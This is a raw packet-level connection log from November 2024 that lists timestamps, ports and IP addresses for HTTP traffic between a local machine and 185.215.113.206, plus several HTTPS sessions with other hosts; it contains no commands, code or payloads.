Nov 25, 2024 16:21:39.309226990 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.310045958 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.310091019 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.310125113 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.310163021 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.311023951 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.311068058 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.311170101 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.311384916 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.312033892 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.312093973 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.312182903 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.312220097 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.313064098 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.313138962 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.313143015 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.313177109 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.314011097 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.314027071 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.314070940 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.315067053 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.315114975 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.315213919 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.315304041 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.316030979 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.316096067 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.316112995 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.316155910 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.316981077 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.317043066 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.317127943 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.317289114 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.318017960 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.318072081 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.318130016 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.318173885 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.318918943 CET	443	49819	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.318939924 CET	443	49819	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.318969011 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.318978071 CET	49819	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.318989992 CET	443	49819	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.319020987 CET	49819	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.319024086 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.319052935 CET	49819	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.319076061 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.319113016 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.319957018 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.320076942 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.320118904 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.320992947 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.321042061 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.321063042 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.321103096 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.321969032 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.322038889 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.322107077 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.322145939 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.322956085 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.323019981 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.323045015 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.323092937 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.323960066 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.323971987 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.324017048 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.324949980 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.324999094 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.325036049 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.325072050 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.325932026 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.325989962 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.326080084 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.326214075 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.326941967 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.327006102 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.327090979 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.327135086 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.327996016 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.328053951 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.328056097 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.328099012 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.328927040 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.328979969 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.329025030 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.329169035 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.329919100 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.329971075 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.330044985 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.330089092 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.330907106 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.330949068 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.331072092 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.331121922 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.331923962 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.331991911 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.332009077 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.332053900 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.332272053 CET	443	49824	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:39.332947969 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.333000898 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.333020926 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.333055973 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.333830118 CET	49824	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:39.333868980 CET	443	49824	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:39.333890915 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.333940029 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.333991051 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.334028959 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.334319115 CET	49824	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:39.334325075 CET	443	49824	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:39.334891081 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.334939957 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.334985971 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.335221052 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.335911989 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.335963964 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.335985899 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.336025000 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.336882114 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.336927891 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.336935997 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.336975098 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.337884903 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.337919950 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.337927103 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.337958097 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.382551908 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.382575035 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.382637024 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.382652998 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.382874966 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.421773911 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.421794891 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.421857119 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.421885014 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.421957016 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.444680929 CET	443	49819	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.444741964 CET	443	49819	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.444761992 CET	49819	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.444781065 CET	443	49819	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.444801092 CET	49819	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.444816113 CET	49819	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.450474024 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.450498104 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.450532913 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.450563908 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.450582027 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.450618029 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.454849958 CET	443	49819	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.454921007 CET	49819	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.454936028 CET	443	49819	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.455039978 CET	443	49819	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.455084085 CET	49819	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.455338001 CET	49819	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.455355883 CET	443	49819	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.478414059 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.478485107 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.478494883 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.478598118 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.478857994 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.478909016 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.478954077 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.478998899 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.479618073 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.479701996 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.479749918 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.479794025 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.480639935 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.480703115 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.480756998 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.480878115 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.481347084 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.481401920 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.481448889 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.481650114 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.482140064 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.482196093 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.482239962 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.482284069 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.483163118 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.483259916 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.483278036 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.483328104 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.484142065 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.484230042 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.484235048 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.484275103 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.485146046 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.485202074 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.485210896 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.485260963 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.486141920 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.486233950 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.486265898 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.486279011 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.489196062 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.489211082 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.489237070 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.489254951 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.489296913 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.489308119 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.489347935 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.489373922 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.489394903 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.489415884 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.489438057 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.490091085 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.490139961 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.490143061 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.490528107 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.492028952 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.492041111 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.492079020 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.492638111 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.492757082 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.492794991 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.493212938 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.493370056 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.493412018 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.494318962 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.494330883 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.494385004 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.495168924 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.495210886 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.495286942 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.495326042 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.496167898 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.496202946 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.496283054 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.496323109 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.497139931 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.497170925 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.497312069 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.497345924 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.498373032 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.498497009 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.498497009 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.498533964 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.499145031 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.499187946 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.499310017 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.499342918 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.500116110 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.501647949 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.509902954 CET	443	49826	4.249.200.148	192.168.2.5
Nov 25, 2024 16:21:39.513999939 CET	443	49822	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:39.514059067 CET	443	49822	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:39.514117956 CET	49822	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:39.544323921 CET	49826	443	192.168.2.5	4.249.200.148
Nov 25, 2024 16:21:39.544370890 CET	443	49826	4.249.200.148	192.168.2.5
Nov 25, 2024 16:21:39.544941902 CET	443	49826	4.249.200.148	192.168.2.5
Nov 25, 2024 16:21:39.545501947 CET	49826	443	192.168.2.5	4.249.200.148
Nov 25, 2024 16:21:39.545592070 CET	443	49826	4.249.200.148	192.168.2.5
Nov 25, 2024 16:21:39.545644045 CET	49826	443	192.168.2.5	4.249.200.148
Nov 25, 2024 16:21:39.545695066 CET	49826	443	192.168.2.5	4.249.200.148
Nov 25, 2024 16:21:39.545713902 CET	443	49826	4.249.200.148	192.168.2.5
Nov 25, 2024 16:21:39.550935984 CET	49822	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:39.550970078 CET	443	49822	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:39.550986052 CET	49822	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:39.550992012 CET	443	49822	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:39.555382967 CET	49832	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:39.555423021 CET	443	49832	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:39.555550098 CET	49832	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:39.561594963 CET	49832	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:39.561625004 CET	443	49832	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:39.564475060 CET	443	49825	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:39.565148115 CET	49825	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:39.565175056 CET	443	49825	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:39.565757990 CET	49825	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:39.565767050 CET	443	49825	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:39.573895931 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.573926926 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.573956013 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.573986053 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.574007034 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.574032068 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.598507881 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.598527908 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.598582029 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.598617077 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.598961115 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.602859974 CET	443	49821	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:39.602931023 CET	443	49821	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:39.602977037 CET	49821	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:39.607116938 CET	49821	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:39.607136965 CET	443	49821	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:39.611027002 CET	49833	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:39.611073017 CET	443	49833	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:39.611165047 CET	49833	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:39.611608028 CET	49833	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:39.611619949 CET	443	49833	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:39.612917900 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:39.617387056 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.617405891 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.617439032 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.617468119 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.617482901 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.617503881 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.636183977 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.636204958 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.636322975 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.636348963 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.636400938 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.652354956 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.652375937 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.652424097 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.652446032 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.652487040 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.671139956 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.671158075 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.671195984 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.671232939 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.671252012 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.671269894 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.689927101 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.689944983 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.689989090 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.690013885 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.690031052 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.690094948 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.706218958 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.706237078 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.706278086 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.706300974 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.706315994 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.706331968 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.734235048 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:39.765362978 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.765392065 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.765434980 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.765490055 CET	443	49818	13.107.246.40	192.168.2.5
Nov 25, 2024 16:21:39.765510082 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.765557051 CET	49818	443	192.168.2.5	13.107.246.40
Nov 25, 2024 16:21:39.775229931 CET	49834	443	192.168.2.5	23.44.203.14
Nov 25, 2024 16:21:39.775332928 CET	443	49834	23.44.203.14	192.168.2.5
Nov 25, 2024 16:21:39.775405884 CET	49834	443	192.168.2.5	23.44.203.14
Nov 25, 2024 16:21:39.775566101 CET	49835	443	192.168.2.5	23.44.203.14
Nov 25, 2024 16:21:39.775613070 CET	443	49835	23.44.203.14	192.168.2.5
Nov 25, 2024 16:21:39.775744915 CET	49835	443	192.168.2.5	23.44.203.14
Nov 25, 2024 16:21:39.776000023 CET	49834	443	192.168.2.5	23.44.203.14
Nov 25, 2024 16:21:39.776032925 CET	443	49834	23.44.203.14	192.168.2.5
